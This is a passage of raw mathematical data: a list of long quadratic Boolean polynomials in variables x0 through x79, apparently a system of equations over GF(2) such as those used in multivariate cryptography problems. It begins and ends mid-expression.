x46*x51 + x46*x54 + x46*x56 + x46*x57 + x46*x64 + x46*x65 + x46*x69 + x46*x71 + x46*x74 + x46*x75 + x46*x77 + x46*x79 + x46 + x47*x48 + x47*x52 + x47*x54 + x47*x57 + x47*x60 + x47*x61 + x47*x63 + x47*x64 + x47*x65 + x47*x68 + x47*x69 + x47*x70 + x47*x74 + x47*x75 + x47*x76 + x47*x78 + x48*x49 + x48*x54 + x48*x56 + x48*x59 + x48*x60 + x48*x61 + x48*x65 + x48*x66 + x48*x69 + x48*x70 + x48*x72 + x48*x73 + x48*x75 + x48*x77 + x48*x79 + x49*x51 + x49*x52 + x49*x54 + x49*x56 + x49*x59 + x49*x60 + x49*x62 + x49*x67 + x49*x68 + x49*x69 + x49*x70 + x49*x73 + x49*x74 + x49*x77 + x49*x79 + x50*x52 + x50*x53 + x50*x54 + x50*x56 + x50*x59 + x50*x61 + x50*x65 + x50*x66 + x50*x67 + x50*x68 + x50*x70 + x50*x71 + x50*x72 + x50*x73 + x50*x74 + x50*x76 + x50*x78 + x51*x53 + x51*x54 + x51*x63 + x51*x64 + x51*x65 + x51*x68 + x51*x69 + x51*x70 + x51 + x52*x53 + x52*x55 + x52*x56 + x52*x58 + x52*x60 + x52*x61 + x52*x62 + x52*x65 + x52*x66 + x52*x67 + x52*x68 + x52*x69 + x52*x70 + x52*x72 + x52*x73 + x52*x74 + x52*x75 + x52*x79 + x52 + x53*x56 + x53*x60 + x53*x65 + x53*x69 + x53*x70 + x53*x73 + x53*x75 + x53*x76 + x53*x79 + x53 + x54*x55 + x54*x58 + x54*x59 + x54*x60 + x54*x62 + x54*x64 + x54*x66 + x54*x67 + x54*x69 + x54*x70 + x54*x71 + x54*x72 + x54*x73 + x54*x74 + x54*x77 + x54*x78 + x54*x79 + x54 + x55*x56 + x55*x57 + x55*x58 + x55*x60 + x55*x61 + x55*x62 + x55*x63 + x55*x64 + x55*x67 + x55*x69 + x55*x72 + x55*x73 + x55*x76 + x55*x77 + x55*x78 + x55*x79 + x56*x58 + x56*x67 + x56*x72 + x56*x73 + x56*x74 + x56*x77 + x56*x79 + x56 + x57*x58 + x57*x59 + x57*x60 + x57*x64 + x57*x67 + x57*x68 + x57*x69 + x57*x71 + x57*x72 + x57*x74 + x57*x76 + x57*x78 + x57*x79 + x57 + x58*x59 + x58*x60 + x58*x62 + x58*x63 + x58*x65 + x58*x67 + x58*x68 + x58*x69 + x58*x70 + x58*x74 + x58*x75 + x58*x76 + x59*x60 + x59*x62 + x59*x63 + x59*x64 + x59*x65 + x59*x66 + x59*x67 + x59*x68 + x59*x70 + x59*x71 + x59*x76 + x59*x77 + x59*x78 + x59 + x60*x61 + x60*x64 + x60*x65 + x60*x66 + x60*x67 + x60*x69 + x60*x70 + x60*x71 + x60*x72 + x60*x76 + x60*x79 + x61*x63 + x61*x65 + x61*x67 + x61*x73 + x61*x74 + x61*x75 + x61*x76 + x61*x77 + x61*x78 + x61*x79 + x62*x64 + x62*x65 + x62*x73 + x62*x76 + x62*x77 + x63*x64 + x63*x65 + x63*x66 + x63*x67 + x63*x68 + x63*x69 + x63*x70 + x63*x73 + x63*x75 + x63*x76 + x63*x77 + x63*x78 + x63 + x64*x66 + x64*x67 + x64*x69 + x64*x71 + x64*x74 + x64*x79 + x65*x67 + x65*x68 + x65*x69 + x65*x73 + x65*x74 + x65*x76 + x65*x77 + x65 + x66*x68 + x66*x70 + x66*x71 + x66*x73 + x66*x75 + x66*x76 + x66*x79 + x66 + x67*x68 + x67*x69 + x67*x70 + x67*x71 + x67*x73 + x67*x75 + x67*x76 + x68*x69 + x68*x71 + x68*x74 + x68*x77 + x68*x78 + x69*x70 + x69*x71 + x69*x72 + x69*x76 + x70*x71 + x70*x72 + x70*x74 + x70*x77 + x70*x79 + x70 + x71*x72 + x71*x74 + x71*x75 + x71*x76 + x71*x79 + x71 + x72*x73 + x72*x74 + x72*x78 + x73*x78 + x73*x79 + x74*x75 + x74*x78 + x75*x77 + x76*x77 + x76*x79 + x77*x78 + x77, x0*x2 + x0*x3 + x0*x13 + x0*x17 + x0*x18 + x0*x19 + x0*x21 + x0*x23 + x0*x28 + x0*x29 + x0*x35 + x0*x37 + x0*x41 + x0*x43 + x0*x44 + x0*x45 + x0*x47 + x0*x48 + x0*x51 + x0*x52 + x0*x55 + x0*x56 + x0*x57 + x0*x60 + x0*x61 + x0*x62 + x0*x63 + x0*x64 + x0*x66 + x0*x67 + x0*x70 + x0*x71 + x0*x72 + x0*x74 + x0*x75 + x0*x77 + x1*x2 + x1*x4 + x1*x9 + x1*x12 + x1*x15 + x1*x16 + x1*x18 + x1*x19 + x1*x24 + x1*x25 + x1*x26 + x1*x27 + x1*x28 + x1*x34 + x1*x35 + x1*x36 + x1*x38 + x1*x39 + x1*x42 + x1*x45 + x1*x46 + x1*x47 + x1*x49 + x1*x50 + x1*x52 + x1*x54 + x1*x55 + x1*x56 + x1*x59 + x1*x62 + x1*x63 + x1*x64 + x1*x65 + x1*x66 + x1*x67 + x1*x68 + x1*x70 + x1*x72 + x1*x73 + x1*x74 + x1*x77 + x1*x79 + x2*x3 + x2*x4 + x2*x5 + x2*x6 + x2*x8 + x2*x9 + x2*x10 + x2*x14 + x2*x15 + x2*x16 + x2*x17 + x2*x19 + x2*x23 + x2*x24 + x2*x28 + x2*x34 + x2*x35 + x2*x36 + x2*x37 + x2*x38 + x2*x39 + x2*x40 + x2*x43 + x2*x44 + x2*x45 + x2*x47 + x2*x49 + x2*x53 + x2*x54 + x2*x56 + x2*x58 + x2*x60 + x2*x65 + x2*x67 + x2*x69 + x2*x70 + x2*x72 + x2*x73 + x2*x74 + x2*x75 + x2*x76 + x2*x78 + x2 + x3*x4 + x3*x7 + x3*x8 + x3*x11 + x3*x13 + x3*x15 + x3*x16 + x3*x17 + x3*x18 + x3*x25 + x3*x27 + x3*x28 + x3*x32 + x3*x34 + x3*x36 + x3*x38 + x3*x40 + x3*x41 + x3*x47 + x3*x48 + x3*x49 + x3*x50 + x3*x53 + x3*x58 + x3*x59 + x3*x62 + x3*x64 + x3*x72 + x3*x75 + x3*x77 + x3*x79 + x4*x10 + x4*x12 + x4*x17 + x4*x18 + x4*x20 + x4*x21 + x4*x28 + x4*x30 + x4*x31 + x4*x35 + x4*x38 + x4*x39 + x4*x41 + x4*x45 + x4*x48 + x4*x55 + x4*x58 + x4*x60 + x4*x62 + x4*x63 + x4*x64 + x4*x68 + x4*x70 + x4*x73 + x4*x74 + x4*x76 + x4*x77 + x5*x12 + x5*x13 + x5*x14 + x5*x17 + x5*x19 + x5*x23 + x5*x25 + x5*x27 + x5*x28 + x5*x29 + x5*x31 + x5*x33 + x5*x34 + x5*x35 + x5*x37 + x5*x40 + x5*x41 + x5*x42 + x5*x47 + x5*x50 + x5*x53 + x5*x55 + x5*x56 + x5*x58 + x5*x60 + x5*x61 + x5*x62 + x5*x63 + x5*x67 + x5*x68 + x5*x71 + x5*x72 + x5*x78 + x5*x79 + x6*x7 + x6*x18 + x6*x19 + x6*x22 + x6*x24 + x6*x26 + x6*x28 + x6*x31 + x6*x33 + x6*x35 + x6*x36 + x6*x38 + x6*x40 + x6*x42 + x6*x43 + x6*x44 + x6*x46 + x6*x49 + x6*x53 + x6*x56 + x6*x58 + x6*x60 + x6*x66 + x6*x70 + x6*x72 + x6*x73 + x6*x74 + x6*x78 + x7*x9 + x7*x10 + x7*x15 + x7*x17 + x7*x20 + x7*x21 + x7*x24 + x7*x28 + x7*x29 + x7*x32 + x7*x34 + x7*x35 + x7*x38 + x7*x39 + x7*x40 + x7*x41 + x7*x44 + x7*x45 + x7*x47 + x7*x48 + x7*x50 + x7*x51 + x7*x55 + x7*x58 + x7*x59 + x7*x63 + x7*x64 + x7*x70 + x7*x71 + x7*x72 + x7*x73 + x7*x74 + x7*x75 + x7*x77 + x7*x79 + x7 + x8*x10 + x8*x11 + x8*x15 + x8*x17 + x8*x19 + x8*x20 + x8*x21 + x8*x22 + x8*x24 + x8*x25 + x8*x27 + x8*x28 + x8*x29 + x8*x30 + x8*x32 + x8*x35 + x8*x40 + x8*x41 + x8*x42 + x8*x45 + x8*x48 + x8*x49 + x8*x50 + x8*x53 + x8*x54 + x8*x55 + x8*x56 + x8*x59 + x8*x60 + x8*x64 + x8*x65 + x8*x67 + x8*x68 + x8*x69 + x8*x73 + x8*x77 + x8*x79 + x8 + x9*x13 + x9*x16 + x9*x20 + x9*x21 + x9*x22 + x9*x23 + x9*x24 + x9*x25 + x9*x26 + x9*x27 + x9*x28 + x9*x31 + x9*x36 + x9*x38 + x9*x39 + x9*x41 + x9*x42 + x9*x44 + x9*x49 + x9*x54 + x9*x55 + x9*x56 + x9*x59 + x9*x60 + x9*x65 + x9*x67 + x9*x68 + x9*x69 + x9*x72 + x9*x74 + x9*x75 + x9*x77 + x10*x12 + x10*x13 + x10*x14 + x10*x17 + x10*x18 + x10*x23 + x10*x31 + x10*x35 + x10*x36 + x10*x40 + x10*x41 + x10*x42 + x10*x47 + x10*x48 + x10*x49 + x10*x52 + x10*x53 + x10*x54 + x10*x55 + x10*x58 + x10*x59 + x10*x60 + x10*x61 + x10*x64 + x10*x66 + x10*x74 + x10*x75 + x10*x77 + x10 + x11*x13 + x11*x14 + x11*x15 + x11*x17 + x11*x19 + x11*x20 + x11*x22 + x11*x23 + x11*x24 + x11*x28 + x11*x31 + x11*x32 + x11*x33 + x11*x34 + x11*x35 + x11*x36 + x11*x39 + x11*x40 + x11*x44 + x11*x47 + x11*x49 + x11*x51 + x11*x54 + x11*x59 + x11*x60 + x11*x62 + x11*x64 + x11*x69 + x11*x70 + x11*x71 + x11*x72 + x11*x75 + x11*x77 + x11*x79 + x12*x15 + x12*x16 + x12*x17 + x12*x18 + x12*x19 + x12*x21 + x12*x22 + x12*x24 + x12*x28 + x12*x29 + x12*x36 + x12*x38 + x12*x40 + x12*x43 + x12*x47 + x12*x49 + x12*x55 + x12*x56 + x12*x58 + x12*x60 + x12*x66 + x12*x67 + x12*x71 + x12*x73 + x12*x77 + x12 + x13*x14 + x13*x15 + x13*x16 + x13*x17 + x13*x18 + x13*x19 + x13*x20 + x13*x21 + x13*x22 + x13*x23 + x13*x25 + x13*x29 + x13*x32 + x13*x33 + x13*x36 + x13*x37 + x13*x39 + x13*x44 + x13*x45 + x13*x47 + x13*x49 + x13*x50 + x13*x51 + x13*x54 + x13*x58 + x13*x60 + x13*x61 + x13*x64 + x13*x68 + x13*x69 + x13*x71 + x13*x72 + x13*x76 + x13*x77 + x13*x78 + x13*x79 + x14*x16 + x14*x17 + x14*x20 + x14*x22 + x14*x25 + x14*x26 + x14*x27 + x14*x28 + x14*x29 + x14*x31 + x14*x36 + x14*x38 + x14*x39 + x14*x42 + x14*x44 + x14*x46 + x14*x51 + x14*x52 + x14*x55 + x14*x56 + x14*x57 + x14*x58 + x14*x59 + x14*x60 + x14*x64 + x14*x66 + x14*x67 + x14*x68 + x14*x69 + x14*x72 + x14*x73 + x14*x74 + x14*x76 + x14*x77 + x14*x78 + x14*x79 + x15*x16 + x15*x17 + x15*x19 + x15*x22 + x15*x27 + x15*x29 + x15*x32 + x15*x34 + x15*x35 + x15*x37 + x15*x42 + x15*x43 + x15*x44 + x15*x45 + x15*x49 + x15*x50 + x15*x51 + x15*x52 + x15*x54 + x15*x55 + x15*x57 + x15*x58 + x15*x60 + x15*x66 + x15*x68 + x15*x69 + x15*x73 + x15*x76 + x16*x18 + x16*x20 + x16*x21 + x16*x22 + x16*x23 + x16*x24 + x16*x26 + x16*x32 + x16*x33 + x16*x34 + x16*x35 + x16*x36 + x16*x42 + x16*x44 + x16*x48 + x16*x49 + x16*x51 + x16*x56 + x16*x58 + x16*x59 + x16*x60 + x16*x61 + x16*x62 + x16*x63 + x16*x64 + x16*x65 + x16*x67 + x16*x69 + x16*x70 + x16*x73 + x16*x74 + x16*x77 + x17*x19 + x17*x21 + x17*x22 + x17*x23 + x17*x25 + x17*x27 + x17*x33 + x17*x34 + x17*x36 + x17*x37 + x17*x41 + x17*x44 + x17*x46 + x17*x48 + x17*x51 + x17*x54 + x17*x55 + x17*x57 + x17*x59 + x17*x60 + x17*x63 + x17*x65 + x17*x66 + x17*x67 + x17*x68 + x17*x69 + x17*x72 + x17*x73 + x17*x74 + x17*x76 + x17*x77 + x17 + x18*x21 + x18*x22 + x18*x23 + x18*x25 + x18*x30 + x18*x32 + x18*x34 + x18*x38 + x18*x39 + x18*x40 + x18*x42 + x18*x47 + x18*x48 + x18*x50 + x18*x55 + x18*x56 + x18*x57 + x18*x59 + x18*x60 + x18*x61 + x18*x62 + x18*x63 + x18*x65 + x18*x67 + x18*x68 + x18*x73 + x18*x75 + x18*x77 + x18*x78 + x18 + x19*x20 + x19*x21 + x19*x22 + x19*x26 + x19*x27 + x19*x29 + x19*x30 + x19*x32 + x19*x33 + x19*x34 + x19*x36 + x19*x37 + x19*x38 + x19*x40 + x19*x42 + x19*x43 + x19*x44 + x19*x45 + x19*x46 + x19*x49 + x19*x50 + x19*x51 + x19*x52 + x19*x55 + x19*x56 + x19*x57 + x19*x58 + x19*x59 + x19*x60 + x19*x62 + x19*x65 + x19*x66 + x19*x70 + x19*x71 + x19*x75 + x19*x76 + x19*x78 + x19*x79 + x20*x22 + x20*x23 + x20*x24 + x20*x27 + x20*x28 + x20*x31 + x20*x33 + x20*x34 + x20*x35 + x20*x37 + x20*x38 + x20*x42 + x20*x45 + x20*x48 + x20*x49 + x20*x50 + x20*x52 + x20*x53 + x20*x54 + x20*x56 + x20*x57 + x20*x58 + x20*x59 + x20*x62 + x20*x63 + x20*x64 + x20*x65 + x20*x68 + x20*x69 + x20*x72 + x20*x76 + x20*x79 + x21*x23 + x21*x24 + x21*x26 + x21*x34 + x21*x35 + x21*x36 + x21*x39 + x21*x40 + x21*x41 + x21*x47 + x21*x50 + x21*x60 + x21*x63 + x21*x64 + x21*x65 + x21*x67 + x21*x68 + x21*x72 + x21*x73 + x21*x74 + x21*x78 + x22*x24 + x22*x25 + x22*x26 + x22*x28 + x22*x29 + x22*x31 + x22*x33 + x22*x35 + x22*x38 + x22*x44 + x22*x45 + x22*x49 + x22*x54 + x22*x55 + x22*x56 + x22*x57 + x22*x58 + x22*x59 + x22*x61 + x22*x62 + x22*x69 + x22*x71 + x22*x72 + x22*x74 + x22*x78 + x22*x79 + x22 + x23*x24 + x23*x25 + x23*x27 + x23*x28 + x23*x29 + x23*x33 + x23*x34 + x23*x35 + x23*x36 + x23*x37 + x23*x38 + x23*x39 + x23*x43 + x23*x46 + x23*x47 + x23*x50 + x23*x51 + x23*x53 + x23*x56 + x23*x60 + x23*x63 + x23*x68 + x23*x70 + x23*x73 + x23*x75 + x23*x77 + x23*x78 + x24*x27 + x24*x28 + x24*x29 + x24*x34 + x24*x37 + x24*x38 + x24*x39 + x24*x40 + x24*x41 + x24*x42 + x24*x47 + x24*x48 + x24*x49 + x24*x50 + x24*x51 + x24*x55 + x24*x59 + x24*x66 + x24*x67 + x24*x68 + x24*x69 + x24*x71 + x24*x72 + x24*x75 + x24*x76 + x24*x79 + x25*x26 + x25*x27 + x25*x28 + x25*x29 + x25*x30 + x25*x33 + x25*x34 + x25*x38 + x25*x39 + x25*x44 + x25*x48 + x25*x51 + x25*x56 + x25*x58 + x25*x60 + x25*x61 + x25*x65 + x25*x66 + x25*x70 + x25*x71 + x25*x73 + x25*x74 + x25*x76 + x25*x77 + x25*x79 + x25 + x26*x31 + x26*x32 + x26*x34 + x26*x35 + x26*x36 + x26*x38 + x26*x39 + x26*x41 + x26*x43 + x26*x44 + x26*x48 + x26*x49 + x26*x50 + x26*x53 + x26*x54 + x26*x56 + x26*x59 + x26*x60 + x26*x61 + x26*x63 + x26*x64 + x26*x67 + x26*x68 + x26*x73 + x26*x74 + x26*x76 + x26*x78 + x26 + x27*x28 + x27*x31 + x27*x33 + x27*x36 + x27*x37 + x27*x38 + x27*x40 + x27*x41 + x27*x45 + x27*x47 + x27*x50 + x27*x51 + x27*x52 + x27*x53 + x27*x54 + x27*x55 + x27*x57 + x27*x58 + x27*x60 + x27*x61 + x27*x63 + x27*x64 + x27*x67 + x27*x73 + x27*x75 + x27 + x28*x30 + x28*x31 + x28*x33 + x28*x34 + x28*x36 + x28*x37 + x28*x38 + x28*x39 + x28*x40 + x28*x44 + x28*x46 + x28*x47 + x28*x49 + x28*x50 + x28*x51 + x28*x53 + x28*x54 + x28*x56 + x28*x57 + x28*x60 + x28*x61 + x28*x63 + x28*x66 + x28*x68 + x28*x71 + x28*x73 + x28*x74 + x28*x77 + x28 + x29*x31 + x29*x33 + x29*x42 + x29*x43 + x29*x44 + x29*x46 + x29*x48 + x29*x49 + x29*x51 + x29*x52 + x29*x55 + x29*x57 + x29*x58 + x29*x61 + x29*x63 + x29*x64 + x29*x65 + x29*x66 + x29*x71 + x29*x73 + x29*x77 + x29*x78 + x29*x79 + x29 + x30*x32 + x30*x33 + x30*x34 + x30*x35 + x30*x38 + x30*x40 + x30*x42 + x30*x46 + x30*x47 + x30*x48 + x30*x50 + x30*x51 + x30*x52 + x30*x53 + x30*x54 + x30*x57 + x30*x58 + x30*x59 + x30*x61 + x30*x63 + x30*x66 + x30*x67 + x30*x70 + x30*x71 + x30*x73 + x30*x74 + x31*x33 + x31*x34 + x31*x40 + x31*x41 + x31*x42 + x31*x43 + x31*x48 + x31*x49 + x31*x52 + x31*x56 + x31*x63 + x31*x66 + x31*x67 + x31*x68 + x31*x69 + x31*x70 + x31*x71 + x31*x73 + x31*x76 + x31*x79 + x31 + x32*x33 + x32*x35 + x32*x36 + x32*x37 + x32*x38 + x32*x39 + x32*x41 + x32*x42 + x32*x43 + x32*x45 + x32*x47 + x32*x48 + x32*x53 + x32*x56 + x32*x58 + x32*x59 + x32*x60 + x32*x61 + x32*x62 + x32*x64 + x32*x65 + x32*x67 + x32*x68 + x32*x69 + x32*x72 + x32*x77 + x32*x78 + x32*x79 + x32 + x33*x40 + x33*x41 + x33*x42 + x33*x45 + x33*x48 + x33*x50 + x33*x51 + x33*x53 + x33*x54 + x33*x57 + x33*x60 + x33*x63 + x33*x67 + x33*x74 + x33*x75 + x33*x77 + x33*x79 + x34*x35 + x34*x37 + x34*x41 + x34*x42 + x34*x51 + x34*x52 + x34*x54 + x34*x55 + x34*x60 + x34*x62 + x34*x63 + x34*x64 + x34*x65 + x34*x67 + x34*x68 + x34*x70 + x34*x77 + x34*x78 + x34*x79 + x35*x37 + x35*x39 + x35*x41 + x35*x42 + x35*x43 + x35*x44 + x35*x52 + x35*x54 + x35*x57 + x35*x58 + x35*x59 + x35*x63 + x35*x65 + x35*x69 + x35*x70 + x35*x73 + x35*x77 + x35*x78 + x35*x79 + x35 + x36*x38 + x36*x40 + x36*x41 + x36*x43 + x36*x45 + x36*x46 + x36*x48 + x36*x51 + x36*x53 + x36*x55 + x36*x57 + x36*x59 + x36*x62 + x36*x63 + x36*x64 + x36*x67 + x36*x68 + x36*x70 + x36*x72 + x36*x74 + x36*x76 + x36*x77 + x36*x79 + x36 + x37*x41 + x37*x42 + x37*x43 + x37*x44 + x37*x46 + x37*x49 + x37*x50 + x37*x52 + x37*x54 + x37*x57 + x37*x59 + x37*x61 + x37*x64 + x37*x67 + x37*x69 + x37*x71 + x37*x73 + x37*x77 + x37*x78 + x37*x79 + x37 + x38*x46 + x38*x49 + x38*x50 + x38*x51 + x38*x52 + x38*x53 + x38*x54 + x38*x55 + x38*x56 + x38*x58 + x38*x60 + x38*x64 + x38*x65 + x38*x66 + x38*x67 + x38*x68 + x38*x72 + x38*x73 + x38*x74 + x38*x77 + x38*x78 + x38 + x39*x40 + x39*x42 + x39*x43 + x39*x51 + x39*x54 + x39*x55 + x39*x58 + x39*x60 + x39*x62 + x39*x63 + x39*x70 + x39*x73 + x39*x74 + x39*x76 + x39*x78 + x39 + x40*x41 + x40*x42 + x40*x44 + x40*x45 + x40*x46 + x40*x48 + x40*x49 + x40*x53 + x40*x55 + x40*x57 + x40*x59 + x40*x62 + x40*x63 + x40*x64 + x40*x65 + x40*x66 + x40*x67 + x40*x68 + x40*x69 + x40*x71 + x40*x72 + x40*x73 + x40*x74 + x40*x75 + x40*x76 + x40*x79 + x40 + x41*x42 + x41*x43 + x41*x44 + x41*x48 + x41*x51 + x41*x53 + x41*x56 + x41*x58 + x41*x63 + x41*x64 + x41*x66 + x41*x70 + x41*x71 + x41*x72 + x41*x73 + x41*x74 + x41*x76 + x41*x77 + x41*x78 + x41 + x42*x44 + x42*x45 + x42*x48 + x42*x51 + x42*x53 + x42*x54 + x42*x57 + x42*x59 + x42*x60 + x42*x64 + x42*x66 + x42*x67 + x42*x68 + x42*x69 + x42*x70 + x42*x71 + x42*x72 + x42*x73 + x42*x74 + x42*x75 + x42*x79 + x42 + x43*x46 + x43*x51 + x43*x60 + x43*x61 + x43*x63 + x43*x64 + x43*x69 + x43*x70 + x43*x74 + x43*x75 + x43*x77 + x43 + x44*x47 + x44*x48 + x44*x49 + x44*x50 + x44*x51 + x44*x53 + x44*x54 + x44*x56 + x44*x60 + x44*x63 + x44*x64 + x44*x67 + x44*x72 + x44*x73 + x44*x75 + x44*x76 + x44*x77 + x44 + x45*x46 + x45*x48 + x45*x49 + x45*x50 + x45*x51 + x45*x52 + x45*x55 + x45*x57 + x45*x60 + x45*x61 + x45*x63 + x45*x66 + x45*x68 + x45*x69 + x45*x71 + x45*x73 + x45*x74 + x45*x77 + x45*x78 + x45 + x46*x47 + x46*x49 + x46*x50 + x46*x55 + x46*x56 + x46*x57 + x46*x58 + x46*x61 + x46*x63 + x46*x64 + x46*x65 + x46*x66 + x46*x68 + x46*x70 + x46*x71 + x46*x72 + x46*x74 + x46*x77 + x46*x79 + x47*x48 + x47*x53 + x47*x54 + x47*x56 + x47*x60 + x47*x63 + x47*x64 + x47*x65 + x47*x67 + x47*x71 + x47*x74 + x47*x76 + x47*x77 + x47*x79 + x48*x49 + x48*x50 + x48*x52 + x48*x53 + x48*x54 + x48*x61 + x48*x63 + x48*x64 + x48*x65 + x48*x66 + x48*x69 + x48*x73 + x48*x75 + x48*x76 + x49*x50 + x49*x52 + x49*x53 + x49*x54 + x49*x58 + x49*x59 + x49*x61 + x49*x62 + x49*x66 + x49*x67 + x49*x68 + x49*x69 + x49*x74 + x49*x77 + x49 + x50*x51 + x50*x52 + x50*x57 + x50*x59 + x50*x60 + x50*x66 + x50*x67 + x50*x71 + x50*x73 + x50*x76 + x50 + x51*x57 + x51*x59 + x51*x62 + x51*x63 + x51*x64 + x51*x65 + x51*x70 + x51*x71 + x51*x73 + x51*x76 + x51*x78 + x51*x79 + x51 + x52*x55 + x52*x56 + x52*x57 + x52*x59 + x52*x60 + x52*x61 + x52*x66 + x52*x67 + x52*x68 + x52*x71 + x52*x72 + x52*x74 + x52*x77 + x52*x78 + x52*x79 + x52 + x53*x54 + x53*x55 + x53*x58 + x53*x59 + x53*x60 + x53*x61 + x53*x62 + x53*x66 + x53*x73 + x53*x75 + x53*x79 + x54*x55 + x54*x57 + x54*x58 + x54*x62 + x54*x64 + x54*x65 + x54*x66 + x54*x68 + x54*x71 + x54*x77 + x55*x57 + x55*x61 + x55*x62 + x55*x64 + x55*x70 + x55*x71 + x55*x72 + x55*x74 + x55*x76 + x55*x79 + x56*x59 + x56*x60 + x56*x61 + x56*x63 + x56*x67 + x56*x70 + x56*x71 + x56*x72 + x56*x73 + x56*x74 + x56*x75 + x56*x77 + x56*x78 + x56 + x57*x58 + x57*x61 + x57*x64 + x57*x67 + x57*x68 + x57*x72 + x57*x74 + x57*x75 + x57*x77 + x57*x78 + x57*x79 + x57 + x58*x59 + x58*x60 + x58*x68 + x58*x73 + x58*x76 + x58*x77 + x58*x78 + x58*x79 + x59*x61 + x59*x63 + x59*x64 + x59*x65 + x59*x70 + x59*x72 + x59*x74 + x59*x77 + x59*x78 + x60*x63 + x60*x67 + x60*x70 + x60*x71 + x60*x73 + x60*x74 + x60*x78 + x60*x79 + x60 + x61*x64 + x61*x69 + x61*x70 + x61*x71 + x61*x72 + x61*x74 + x61*x79 + x61 + x62*x64 + x62*x66 + x62*x69 + x62*x71 + x62*x72 + x62*x74 + x62*x76 + x62*x77 + x62 + x63*x64 + x63*x68 + x63*x71 + x63*x74 + x63*x75 + x63*x76 + x64*x65 + x64*x66 + x64*x69 + x64*x70 + x64*x71 + x64*x73 + x64*x74 + x64*x77 + x64*x78 + x64*x79 + x64 + x65*x70 + x65*x71 + x65*x73 + x65*x76 + x65*x79 + x66*x73 + x66*x77 + x66*x78 + x66 + x67*x68 + x67*x70 + x67*x72 + x67*x73 + x67*x76 + x67*x77 + x67*x79 + x68*x69 + x68*x73 + x68*x74 + x68*x79 + x69*x71 + x69*x72 + x69*x78 + x69*x79 + x69 + x70*x72 + x70*x79 + x70 + x71*x76 + x71*x77 + x71*x78 + x71*x79 + x72*x73 + x72*x75 + x72*x76 + x72*x78 + x72*x79 + x72 + x73*x74 + x73*x75 + x73*x78 + x73*x79 + x74 + x75*x76 + x75*x77 + x75*x79 + x75 + x76*x77 + x76*x78 + x76*x79 + x77*x78 + x78 + x79 + 1, x0*x4 + x0*x8 + x0*x9 + x0*x10 + x0*x11 + x0*x12 + x0*x13 + x0*x15 + x0*x18 + x0*x19 + x0*x20 + x0*x21 + x0*x23 + x0*x24 + x0*x30 + x0*x32 + x0*x33 + x0*x35 + x0*x36 + x0*x39 + x0*x42 + x0*x43 + x0*x45 + x0*x46 + x0*x48 + x0*x49 + x0*x53 + x0*x55 + x0*x56 + x0*x58 + x0*x59 + x0*x61 + x0*x62 + x0*x64 + x0*x67 + x0*x69 + x0*x70 + x0*x72 + x0*x73 + x0*x74 + x0*x76 + x0*x77 + x0*x79 + x1*x3 + x1*x4 + x1*x5 + x1*x7 + x1*x9 + x1*x10 + x1*x11 + x1*x13 + x1*x22 + x1*x23 + x1*x24 + x1*x26 + x1*x29 + x1*x30 + x1*x31 + x1*x39 + x1*x40 + x1*x44 + x1*x46 + x1*x47 + x1*x48 + x1*x50 + x1*x56 + x1*x58 + x1*x59 + x1*x61 + x1*x64 + x1*x65 + x1*x69 + x1*x70 + x1*x73 + x1*x75 + x1*x77 + x1*x78 + x1*x79 + x2*x3 + x2*x4 + x2*x9 + x2*x12 + x2*x15 + x2*x16 + x2*x18 + x2*x20 + x2*x22 + x2*x23 + x2*x25 + x2*x33 + x2*x34 + x2*x36 + x2*x40 + x2*x41 + x2*x43 + x2*x44 + x2*x45 + x2*x46 + x2*x47 + x2*x50 + x2*x51 + x2*x53 + x2*x55 + x2*x57 + x2*x58 + x2*x59 + x2*x60 + x2*x63 + x2*x66 + x2*x68 + x2*x69 + x2*x70 + x2*x73 + x2*x75 + x2*x76 + x2*x77 + x2*x78 + x3*x5 + x3*x6 + x3*x11 + x3*x12 + x3*x13 + x3*x14 + x3*x15 + x3*x16 + x3*x18 + x3*x21 + x3*x23 + x3*x24 + x3*x26 + x3*x29 + x3*x30 + x3*x31 + x3*x32 + x3*x33 + x3*x37 + x3*x38 + x3*x39 + x3*x40 + x3*x47 + x3*x48 + x3*x51 + x3*x52 + x3*x53 + x3*x55 + x3*x56 + x3*x57 + x3*x61 + x3*x64 + x3*x65 + x3*x66 + x3*x67 + x3*x69 + x3*x71 + x3*x73 + x3*x74 + x3*x75 + x3*x77 + x3 + x4*x6 + x4*x8 + x4*x9 + x4*x11 + x4*x13 + x4*x14 + x4*x19 + x4*x23 + x4*x24 + x4*x26 + x4*x28 + x4*x32 + x4*x35 + x4*x38 + x4*x40 + x4*x48 + x4*x49 + x4*x50 + x4*x53 + x4*x54 + x4*x56 + x4*x57 + x4*x59 + x4*x60 + x4*x70 + x4*x71 + x4*x73 + x4*x78 + x4*x79 + x4 + x5*x7 + x5*x10 + x5*x12 + x5*x13 + x5*x16 + x5*x17 + x5*x22 + x5*x25 + x5*x26 + x5*x27 + x5*x29 + x5*x31 + x5*x33 + x5*x38 + x5*x39 + x5*x40 + x5*x41 + x5*x42 + x5*x43 + x5*x45 + x5*x46 + x5*x50 + x5*x51 + x5*x52 + x5*x55 + x5*x56 + x5*x57 + x5*x59 + x5*x60 + x5*x63 + x5*x65 + x5*x66 + x5*x68 + x5*x73 + x5*x75 + x5*x78 + x6*x8 + x6*x10 + x6*x11 + x6*x12 + x6*x14 + x6*x16 + x6*x17 + x6*x19 + x6*x21 + x6*x22 + x6*x24 + x6*x25 + x6*x27 + x6*x31 + x6*x33 + x6*x34 + x6*x36 + x6*x37 + x6*x44 + x6*x47 + x6*x48 + x6*x50 + x6*x51 + x6*x52 + x6*x54 + x6*x56 + x6*x57 + x6*x63 + x6*x64 + x6*x66 + x6*x67 + x6*x73 + x6*x75 + x6*x77 + x6*x78 + x6*x79 + x7*x8 + x7*x9 + x7*x11 + x7*x12 + x7*x14 + x7*x15 + x7*x16 + x7*x17 + x7*x20 + x7*x21 + x7*x25 + x7*x26 + x7*x28 + x7*x30 + x7*x31 + x7*x33 + x7*x34 + x7*x36 + x7*x39 + x7*x41 + x7*x42 + x7*x45 + x7*x46 + x7*x47 + x7*x50 + x7*x51 + x7*x57 + x7*x59 + x7*x62 + x7*x63 + x7*x65 + x7*x70 + x7*x71 + x7*x72 + x7*x73 + x7*x78 + x7*x79 + x8*x12 + x8*x14 + x8*x20 + x8*x23 + x8*x24 + x8*x25 + x8*x26 + x8*x27 + x8*x29 + x8*x31 + x8*x32 + x8*x34 + x8*x35 + x8*x39 + x8*x41 + x8*x42 + x8*x44 + x8*x47 + x8*x49 + x8*x50 + x8*x51 + x8*x53 + x8*x57 + x8*x59 + x8*x61 + x8*x64 + x8*x65 + x8*x69 + x8*x70 + x8*x71 + x8*x75 + x8*x78 + x8*x79 + 